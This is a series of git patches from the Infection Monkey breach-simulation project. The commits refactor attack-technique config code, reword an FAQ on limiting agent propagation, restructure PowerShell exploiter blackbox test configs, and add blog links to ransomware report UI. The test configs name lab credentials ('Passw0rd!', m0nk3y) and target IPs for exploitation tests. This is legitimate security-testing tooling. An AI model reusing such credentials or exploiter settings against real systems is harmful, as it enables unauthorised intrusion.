z&%VMjjU%h1L)K0h9h!?F`2}Wy$c<8fr`L2G%DNhiJHT|!7GqiKnO~T~q0IO&BDdyy z;8gKY3<@ziKR@5eL9xv9Zn;pgBL)aBrixWIX|(w5m4yXm)N=rs+5_q@rJO22*Qw3i%F65@xQgh0 zG7E^d-un8|3#>Q}xekyRB2WYZu?JdC#F+bjh?!a1kJ{!Ce85#40XT9i3+#q+{|$Js zkAvl7H(b~&v_I5g`9CDpj{v!{(MAuu!@A%z-<3s=S+rrm@wNmYmA1j~fCV=Q{Q5+2 zcPk|61dYH?-h9ITGjkY4Z_K@z13;8zyL41&ucZePMyFkdiv%ApRFbCtHsJakhRLsY zy$Km*sjdr+Ys>LHR&kj_gaVNJZA(i*pehs#JLA_$6z=S$h1e(ngj6BdZ;ef-kz5Ht zwABxq6+|o?U;j5`OZCoPG(nyA3c#{HFkrZH^@8 z&HuFBVnDz&WW192sDUw#Yn{X2KG;IHugz=-<0z&&vU?dL8GJd`k+w?ymk0IGtG{Oy z{CD#KcTK?iYgJk*d1+~> zRS=E`GFC$SsVo{w{%>7+kc_bo3x(L?Q}*{eKZS9)AKGOp>w>tx!e)m-mggVD?>AkM zcYn7x&AZCrf6kMe6yX2n3~1vG0_c_^&7?Kr8HM$`o@O3jqPkFim)+=)U6X>X>@ro2U?KlB1h3 zs1ey;*G*#NIqn)7Br;(h>hlhu6$(!vJfd*ak7J8O# zUhipm&B8R8#vf_A`ReG!s`^gz&_w#H-mlkqD2r61YQ<-}x9Cx}XOdStzel4jS2p@3 zbQiA$<9r&X)GE7njqVlB(041{BW|M<;Kl8J`}^8Zp-3iR-@RiRc+MOwks0uZ9DyJhawza$*9gqBzUjbuNlcpM~xZ$?JspDSNi|qGt7~XsWoR9#!0J(8o_z{0b<1 z)DbRj+FpXd_|=iAB}EV+)Tl~DTyIcfdLw56Be*2e_$QTywC-RSQ_VY8G{Y5;6IcBP z)3?et#M3>n$&{zi?9QE!be6IFr&kaQL#5}+RA71$F8NSBB%sA@b7Qf9---_Hu1Gn$ zw-~*v*~)3m9V&8@OD$x?YWEilFOW`7-2ZtmE`+LGnCw<8$|EerhwUK@mGpvNIg+&$ zc+eKL`f|L2LV9U=Z2EXlZmLtytG4>Ajf*QY!GDl)rHKi+c5WL7o;vBU3T7&Vy@~Cu;pj&D%Rfl-rU?UN!tT)|t9j zY)O#uSUPrC8Kk&)G*(3_u5JDZSE{@=Kojj z!pjHVWM*YeLh zA}#K9u6GeMd9<{&JqTzDSS)qo+|eBTHXY*q*(B;HM2`|q(E56HK4 zFmJIgYR=tcx)?AtU(#iwJW3Xqxa1IO0ZYty?BzOgMvx|l3xVG>egm~YVadCC<5j?= z14$eLW#d8)#6T{l^5_U|oafTP4^lK86G*A)0ddE2Q7+~8vEx?*+i~DJTgI5ATiy9gx9=TbHMZtm3@A%Xd>obumUdRXu7BH$D{JsFvSU(V@+v5^-m(TfC z*DIX>IJqf+C`;z?N+KD~3Uc0iT)7l7^74ZK%tP`q_D+`&5IYqxcrBh%TU)!!?i4SO zj0i)Gto({4GOE4{r0fVbr*zz^o9kCB_q2(Gf`@WdYzR(NbiPi!;lf}dd|#Mdi}upD z0O`m0vNy{k_D;SSYE_?K4cxnMi(2?x7(+;eis65 zWo%zwNgf_aPCrm$`W{N_2w-`m#m0GXx7~-ZYYE`N%fx%N#t|X%sKZI9_~96-SL{{# zpx>xHAg&I41VT=b&6y)E#?HEh4!3!N5!N;HcYp*OXNnrBOb~=)$b*^!((cU>`YiAbn&&5UJIy=p9`iLvZGk+7FA~oi^<^ z#e;x{#^~rMpT7`~-Rb^_nghUEhdbW8b4Nra@aWsDHeeqR5X}T9QM&N8`#5;hiyA?2 zg)FwNqX+O^kZ-%ZRSRtkm}Ny(YIYhzJcfpWwB$=#cJ0NfPGJsB9uPPD#NW%BPI@cmw(+G&2q#h&p0m)?#DCp_|EO>X;^;zCO01>zpRot5AruwUBl3RqvnF$cN zqJ&UGeEn@+58hAxP(GrO%)>r1aQN<;6(YiSCWww&WeLEA=+(9*f;&>Y`=v{Ig$WNt zIQoHAH!y1lO5`&QF02SO%RigqlHf*~bnEgY35zORmxl|y_rF=k`d{M}hKvCZj%#=` z8Z4V|=v}a2yF4JHi^x@-BBJck1fz)F=|}^NqA-$r9uQ0y4TqMhF*oH1;NM&p%Lja( zj9rOF&q2p>M|&qmFrn*^ydJ{wCmSCC?7x_-tn9xl)YhNC;z!4E6ON(pOUc~O3qw^E z+m^FmTIg#S{{7BV1Ka~;xKkr1Awa(WGeCmJiGI`MM5lL~Yo}(`yVBfJ0S5CkXC%XaVDaz^)Od zNFVBF=is=&uSoEQT-@?11bp=W{1tnu-lY1kfa{k5rW}2Mig$bo_?(#lDqj*RRroDi z-k6M@tNh2Xq*3U`RMpPz4v^rxZDl3o;NTGL)9a!OHvrvFV(8&6lGfv{!AFuUf=<3iupX+#Li9%RE5l*XG+*i zcFvAW<#kdh_`v!=Wn<(^0VhNXwea(&IN%Ujz6cN%75!Zh!<7n>|=eTQwIKX7RIf2XWO;-JR#rVLbW+#_+9{= z(;KKf6_`9`Bw^j@;*h~ryETjC0OX`oy(}F47Zm<~4;DK^fiLl8Ow1bn4wu4?jg8HO z9mLSkkh4qG9c65sXYid2+&X)?>omt_WC-ZM^28h;w$nE`)tH03S)eiOl%Sv@V5%PV zmxzccNl#1N+#bQcdj`YW4AH|*e?!d7* zIf^r0FV+_Jx90m3*54-)TCV#O^yT}NT|GEh5=aPLz@8CwEX3DUbGllpu0|Q)7#Iili2tusf2sMeTSk9dWKRL15$Pd}v??|1BmM(P4ravw literal 0 HcmV?d00001 From 0804cecb64e8b2fa316eacb54d1dfcafe156fbcb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 20:29:30 +0530 Subject: [PATCH 241/454] island, tests: Make config_schema_per_attack_technique a class variable instead of generating it every time --- .../attack/technique_reports/__init__.py | 29 +++++++++++++------ .../test_technique_reports.py | 9 ++---- 2 files changed, 23 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 88187c410..6d3186e73 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -1,14 +1,15 @@ import abc import logging -from typing import List +from typing import Dict, List from common.utils.attack_utils import ScanStatus from common.utils.code_utils import abstractstatic from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.config_schema.config_schema_per_attack_technique import ( - CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + get_config_schema_per_attack_technique, ) logger = logging.getLogger(__name__) @@ -108,6 +109,8 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): """ return {"message": cls.get_message_by_status(status), "status": status} + config_schema_per_attack_technique = None + @classmethod def get_message_by_status(cls, status): """ @@ -118,7 +121,13 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): if status == ScanStatus.DISABLED.value: return disabled_msg if status == ScanStatus.UNSCANNED.value: - unscanned_msg = cls._get_unscanned_msg_with_reasons(cls.unscanned_msg) + if not cls.config_schema_per_attack_technique: + cls.config_schema_per_attack_technique = get_config_schema_per_attack_technique( + SCHEMA + ) + unscanned_msg = cls._get_unscanned_msg_with_reasons( + cls.unscanned_msg, cls.config_schema_per_attack_technique + ) return unscanned_msg elif status == ScanStatus.SCANNED.value: return cls.scanned_msg @@ -126,14 +135,16 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): return cls.used_msg @classmethod - def _get_unscanned_msg_with_reasons(cls, unscanned_msg): + def _get_unscanned_msg_with_reasons( + cls, unscanned_msg: str, config_schema_per_attack_technique: Dict + ): reasons = [] if len(cls.relevant_systems) == 1: reasons.append(f"- The Monkey did not run on any {cls.relevant_systems[0]} systems.") - if cls.tech_id in CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE: + if cls.tech_id in config_schema_per_attack_technique: reasons.append( "- The following configuration options were disabled:
    " - f"{cls._get_relevant_config_values()}" + f"{cls._get_relevant_config_values(config_schema_per_attack_technique)}" ) if reasons: @@ -146,12 +157,12 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): return unscanned_msg @classmethod - def _get_relevant_config_values(cls): + def _get_relevant_config_values(cls, config_schema_per_attack_technique: Dict): config_options = "" - for config_type in CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE[cls.tech_id]: + for config_type in config_schema_per_attack_technique[cls.tech_id]: config_options += ( f"- {config_type} — " - f"{', '.join(CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE[cls.tech_id][config_type])}
    " + f"{', '.join(config_schema_per_attack_technique[cls.tech_id][config_type])}
    " ) return config_options diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index acd855e71..40a627e3c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -21,13 +21,10 @@ FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { @pytest.fixture(scope="function", autouse=True) -def mock_config_schema_per_attack_technique(monkeypatch): +def mock_config_schema_per_attack_technique(monkeypatch, fake_schema): monkeypatch.setattr( - ( - "monkey_island.cc.services.attack.technique_reports." - "__init__.CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE" - ), - FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, + ("monkey_island.cc.services.attack.technique_reports." "__init__.SCHEMA"), + fake_schema, ) From cd937802d787d57d79b532af38a099e79ca391d1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 12:42:46 -0400 Subject: [PATCH 242/454] Docs: Edits to monkey propagation FAQ section --- docs/content/FAQ/_index.md | 46 ++++++++++++++++++++------------------ 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index d2738ead1..85c252435 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -26,7 +26,7 @@ Below are some of the most common questions we receive about the Infection Monke - [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent) - [How can I make the Infection Monkey agents propagate “deeper” into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network) - [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen) -- [How can I limit Monkey's propagation through the network?](#how-can-i-limit-monkeys-propagation-through-the-network) +- [Can I limit how the Infection Monkey propagates through my network?](#can-i-limit-how-the-infection-monkey-propagates-through-my-network) - [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) ## Where can I get the latest version of the Infection Monkey? @@ -225,40 +225,42 @@ This is sometimes caused when Monkey Island is installed with an old version of - **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). - **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work. -## How can I limit Monkey's propagation through the network? +## Can I limit how the Infection Monkey propagates through my network? -In order to limit Monkey's ability to propagate through the network you can: +In order to limit how the Infection Monkey is able to propagate through your network, you can: -#### Set a propagation depth +#### Adjust the scan depth -Setting a propagation depth means that the monkey will spread user-provided number of hops from patient zero. If we set -propagation depth to 1, the Monkey will spread only one hop from patient zero. Propagation depth does not limit the number of +The scan depth limits the number of hops that the Infection Monkey agent will spread from patient zero. If +the scan depth is set to 1, the agent will spread only 1 hop from patient zero. Scan depth does not limit the number of devices, just the number of hops. -- **Example**: Propagation depth is set to 2. Host A scans the network and finds host B, C, D and E. -Monkey successfully propagates from Host A to Host C. Since the propagation depth is 2. Monkey will pivot -from Host C, continue to scan the network and attempt to propagate machines. If Host C successfully breaches -Host E, it will not pivot further and it will not continue to attempt propagation. +- **Example**: Scan depth is set to 2. _Host A_ scans the network and finds hosts _B, C, D_ and _E_. +The Infection Monkey agent successfully propagates from _Host A_ to _Host C_. Since the scan depth is 2, the agent will pivot +from _Host C_ and continue to scan other machines on the network. If _Host C_ successfully breaches +_Host E_, it will not pivot further and it will not continue to scan or propagate. -![What is propagation depth](/images/faq/propagation_depth_diagram.png "What is propagation depth") +![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan depth") -#### Allow/Block IP list +#### Enable/disable scanning the local subnet +Settings that define how the Infection Monkey will scan the network can be found in `Configuration -> Network`. By default each agent will scan its entire local subnet. +This behavior can be disabled by unchecking the `Local network scan` button. -In `Monkey Configuration -> Network` we can specify how Monkey will scan the network. By default Monkey scans the entire subnet. -That can be changed by unchecking the `Local network scan` button. -Additionally, the Monkey scans the network based on the **Allow IPs list** in the `Scan target list` section. All IPs that are specified in that -section Monkey will be allowed to scan and try to propagate to. -On top of this, we can add a list of IPs that Monkey will not scan at all under `Blocked IPs` section. +#### Add IPs to the IP allow list + +The Infection Monkey agents attempt to scan any hosts that are specified in the `Configuration -> Network -> Scan target list` section. + +#### Add IPs to the IP block list + +If there are any hosts on your network that you would like to prevent the Infection Monkey from scanning or exploiting, they can be added to list of "Blocked IPs" in `Configuration -> Network -> Blocked IPs`. #### Specify max number of victims to find/exploit -Under `Monkey Configuration -> Internal -> Monkey` we can specify two numbers which are limiting Monkey's propagation. +Two settings in `Configuration -> Internal -> Monkey` allow you to further limit the Infection Monkey's propagation: -- **Max victims to find**: this number limits the number of machines that the monkey is allowed to scan. If monkey finds more -machines then what is specified it will not try to scan them. The default number is 100 machines. -- **Max victims to exploit**: this number limits the number of machines that the monkey is allowed to successfully exploit. -Setting this number too high may result in the monkey propagating to a high number of machines. The default number is 100 machines. +- **Max victims to find**: This limits the total number of machines that the Infection Monkey is allowed to scan. +- **Max victims to exploit**: This limits the number of machines that the Infection Monkey is allowed to successfully exploit. ## How can I get involved with the project? From 72caf5a80ae2f06fecdb8d27441692a0910fcd04 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 22:13:37 +0530 Subject: [PATCH 243/454] island: Simplify logic when creating reverse schema Co-authored-by: Mike Salvatore --- .../config_schema/config_schema_per_attack_technique.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 4aeab0085..9b7cd6bb2 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -31,7 +31,6 @@ def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, def _add_config_field_to_reverse_schema( definition_type: str, config_field: str, attack_technique: str, reverse_schema: Dict ) -> None: - if attack_technique in reverse_schema: - reverse_schema[attack_technique].setdefault(definition_type, []).append(config_field) - else: - reverse_schema[attack_technique] = {definition_type: [config_field]} + reverse_schema.setdefault(attack_technique, {}) + reverse_schema[attack_technique].setdefault(definition_type, []) + reverse_schema[attack_technique][definition_type].append(config_field) From c16cff7b32a9ee2d8f42fe8d80274f3f5b5b34d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 12:43:46 -0400 Subject: [PATCH 244/454] Docs: Wrap lines in monkey propagation section of FAQ --- docs/content/FAQ/_index.md | 45 ++++++++++++++++++++++++-------------- 1 file changed, 29 insertions(+), 16 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 85c252435..0e06ef7c1 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -227,40 +227,53 @@ This is sometimes caused when Monkey Island is installed with an old version of ## Can I limit how the Infection Monkey propagates through my network? -In order to limit how the Infection Monkey is able to propagate through your network, you can: +In order to limit how the Infection Monkey is able to propagate through your +network, you can: #### Adjust the scan depth -The scan depth limits the number of hops that the Infection Monkey agent will spread from patient zero. If -the scan depth is set to 1, the agent will spread only 1 hop from patient zero. Scan depth does not limit the number of -devices, just the number of hops. +The scan depth limits the number of hops that the Infection Monkey agent will +spread from patient zero. If the scan depth is set to 1, the agent will spread +only 1 hop from patient zero. Scan depth does not limit the number of devices, +just the number of hops. -- **Example**: Scan depth is set to 2. _Host A_ scans the network and finds hosts _B, C, D_ and _E_. -The Infection Monkey agent successfully propagates from _Host A_ to _Host C_. Since the scan depth is 2, the agent will pivot -from _Host C_ and continue to scan other machines on the network. If _Host C_ successfully breaches -_Host E_, it will not pivot further and it will not continue to scan or propagate. +- **Example**: Scan depth is set to 2. _Host A_ scans the network and finds +hosts _B, C, D_ and _E_. The Infection Monkey agent successfully propagates +from _Host A_ to _Host C_. Since the scan depth is 2, the agent will pivot from +_Host C_ and continue to scan other machines on the network. If _Host C_ +successfully breaches _Host E_, it will not pivot further and it will not +continue to scan or propagate. -![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan depth") +![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan +depth") #### Enable/disable scanning the local subnet -Settings that define how the Infection Monkey will scan the network can be found in `Configuration -> Network`. By default each agent will scan its entire local subnet. -This behavior can be disabled by unchecking the `Local network scan` button. +Settings that define how the Infection Monkey will scan the network can be +found in `Configuration -> Network`. By default each agent will scan its entire +local subnet. This behavior can be disabled by unchecking the `Local network +scan` button. #### Add IPs to the IP allow list -The Infection Monkey agents attempt to scan any hosts that are specified in the `Configuration -> Network -> Scan target list` section. +The Infection Monkey agents attempt to scan any hosts that are specified in the +`Configuration -> Network -> Scan target list` section. #### Add IPs to the IP block list -If there are any hosts on your network that you would like to prevent the Infection Monkey from scanning or exploiting, they can be added to list of "Blocked IPs" in `Configuration -> Network -> Blocked IPs`. +If there are any hosts on your network that you would like to prevent the +Infection Monkey from scanning or exploiting, they can be added to list of +"Blocked IPs" in `Configuration -> Network -> Blocked IPs`. #### Specify max number of victims to find/exploit -Two settings in `Configuration -> Internal -> Monkey` allow you to further limit the Infection Monkey's propagation: +Two settings in `Configuration -> Internal -> Monkey` allow you to further +limit the Infection Monkey's propagation: -- **Max victims to find**: This limits the total number of machines that the Infection Monkey is allowed to scan. -- **Max victims to exploit**: This limits the number of machines that the Infection Monkey is allowed to successfully exploit. +- **Max victims to find**: This limits the total number of machines that the +Infection Monkey is allowed to scan. +- **Max victims to exploit**: This limits the number of machines that the +Infection Monkey is allowed to successfully exploit. ## How can I get involved with the project? From 07c08ac0b6fac9a31626ae0207a87f0a675a9794 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Sep 2021 17:12:28 +0200 Subject: [PATCH 245/454] Zoo: Reformat powershell cached credentials test --- .../blackbox/config_templates/powershell.py | 21 +++---------------- .../powershell_cached_credentials.py | 21 +++++++++++++++++++ envs/monkey_zoo/blackbox/conftest.py | 18 ++++++++-------- envs/monkey_zoo/blackbox/test_blackbox.py | 10 ++++++--- vulture_allowlist.py | 2 -- 5 files changed, 40 insertions(+), 32 deletions(-) create mode 100644 envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index fddfd32ae..96ba0b908 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -7,6 +7,8 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp class PowerShell(ConfigTemplate): config_values = copy(BaseTemplate.config_values) + # TODO: Remove .\\ from exploit user list when DC name is added, + # for more context see https://github.com/guardicore/monkey/issues/1486 config_values.update( { "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], @@ -17,7 +19,7 @@ class PowerShell(ConfigTemplate): "10.2.3.48", ], "basic.credentials.exploit_password_list": ["Passw0rd!"], - "basic_network.scope.depth": 2, # TODO: Remove .\\ when DC name is added + "basic_network.scope.depth": 2, "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user", ".\\m0nk3y"], "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], @@ -27,20 +29,3 @@ class PowerShell(ConfigTemplate): ], } ) - - -class PowerShell_Cached(ConfigTemplate): - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], - "basic_network.scope.subnet_scan_list": [ - "10.2.3.46", - ], - "basic_network.scope.depth": 2, - "internal.classes.finger_classes": ["PingScanner"], - "internal.network.tcp_scanner.HTTP_PORTS": [], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py b/envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py new file mode 100644 index 000000000..c8a40f94b --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/powershell_cached_credentials.py @@ -0,0 +1,21 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class PowerShellCachedCredentials(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["PowerShellExploiter"], + "basic_network.scope.subnet_scan_list": [ + "10.2.3.46", + ], + "basic_network.scope.depth": 2, + "internal.classes.finger_classes": ["PingScanner"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.network.tcp_scanner.tcp_target_ports": [], + } + ) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index cfaa1f604..946e9c036 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -58,17 +58,17 @@ def pytest_runtest_setup(item): "Skipping performance test because " "--run-performance-tests flag isn't specified." ) - if item.config.getoption("--os"): - os = [mark.args[0] for mark in item.iter_markers(name="os")] - if os: - if item.config.getoption("--os") not in os: - pytest.skip( - f"Skipping OS specific test. Run in {os[0]} if " - f"you want this test to be executed." - ) - else: + if not item.config.getoption("--os"): pytest.skip( "Skipping OS specific test because" "--os flag isn't specified." " Specify --os with windows or linux as options." ) + + os = [mark.args[0] for mark in item.iter_markers(name="os")] + + if os and item.config.getoption("--os") not in os: + pytest.skip( + f'Skipping OS specific test. Run with "--os={os[0]}" if ' + f"you want this test to be executed." + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 8616d77b5..153f995b9 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -13,7 +13,10 @@ from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell, PowerShell_Cached +from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell +from envs.monkey_zoo.blackbox.config_templates.powershell_cached_credentials import ( + PowerShellCachedCredentials, +) from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth @@ -53,7 +56,6 @@ LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) WINDOWS = "windows" -LINUX = "linux" @pytest.fixture(autouse=True, scope="session") @@ -171,7 +173,9 @@ class TestMonkeyBlackbox: @pytest.mark.os(WINDOWS) def test_powershell_exploiter_cached_credentials(self, island_client): TestMonkeyBlackbox.run_exploitation_test( - island_client, PowerShell_Cached, "PowerShell_Remoting_exploiter_cached_credentials" + island_client, + PowerShellCachedCredentials, + "PowerShell_Remoting_exploiter_cached_credentials", ) def test_smb_and_mimikatz_exploiters(self, island_client): diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 5680cf5b6..905cc74ad 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -205,6 +205,4 @@ environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) -# TODO: Remove this when adding LINUX specific bb test -LINUX # unused variable (envs/monkey_zoo/blackbox/test_blackbox.py:56) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) From f79e218160c1aea8e77490a118f64172d205a0da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 13:41:45 -0400 Subject: [PATCH 246/454] UI: Fix minor formatting issues in LateralMovement.tsx --- .../report-components/ransomware/LateralMovement.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx index a5f76f722..0c360039d 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx @@ -13,8 +13,8 @@ const LATERAL_MOVEMENT_DESCRIPTION = 'After the initial breach, the attacker wil href="https://www.guardicore.com/blog/stopping-ransomware-with-segmentation/?utm_medium=monkey-request&utm_source=web-report&utm_campaign=monkey-security-report" \ target="_blank" \ > \ - See some real-world examples on Guardicore\'s blog. \ -
    ' + See some real-world examples on Guardicore\'s blog. \ + '; type PropagationStats = { num_scanned_nodes: number, From ce8fad53cd2208e2c74dafa5dfd85498f8446cc6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 13:42:18 -0400 Subject: [PATCH 247/454] UI: Add link to Guardicore blog in ransomware Breach section --- .../ransomware/BreachSection.tsx | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx index 1c2b71d99..afdddf469 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx @@ -6,8 +6,19 @@ import {renderLimitedArray} from '../common/RenderArrays'; function BreachSection() { const [machines, setMachines] = useState(null); - let description = 'Ransomware attacks start after machines in the internal network get compromised. ' + - 'The initial compromise was simulated by running Monkey Agents manually.'; + let description = 'Ransomware attacks start after machines in the internal network get \ + compromised. The initial compromise was simulated by running Monkey Agents \ + manually. Detecting ransomware at this stage will minimize the impact to the \ + organization. \ +
    \ +
    \ + \ + Learn techniques for early ransomware detection on Guardicore\'s blog. \ + '; + useEffect(() => { IslandHttpClient.get('/api/exploitations/manual') From cc531a98ae30789efe376c5f24697ad6252364b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 27 Sep 2021 13:42:52 -0400 Subject: [PATCH 248/454] UI: Add link to Guardicore blog in ransomware Attack section --- .../report-components/ransomware/AttackSection.tsx | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx index 58e1bc1a3..1b9f2e794 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx @@ -7,7 +7,16 @@ import LoadingIcon from '../../ui-components/LoadingIcon'; const ATTACK_DESCRIPTION = 'After the attacker or malware has propagated through your network, \ your data is at risk on any machine the attacker can access. It can be \ encrypted and held for ransom, exfiltrated, or manipulated in \ - whatever way the attacker chooses.' + whatever way the attacker chooses. \ +
    \ +
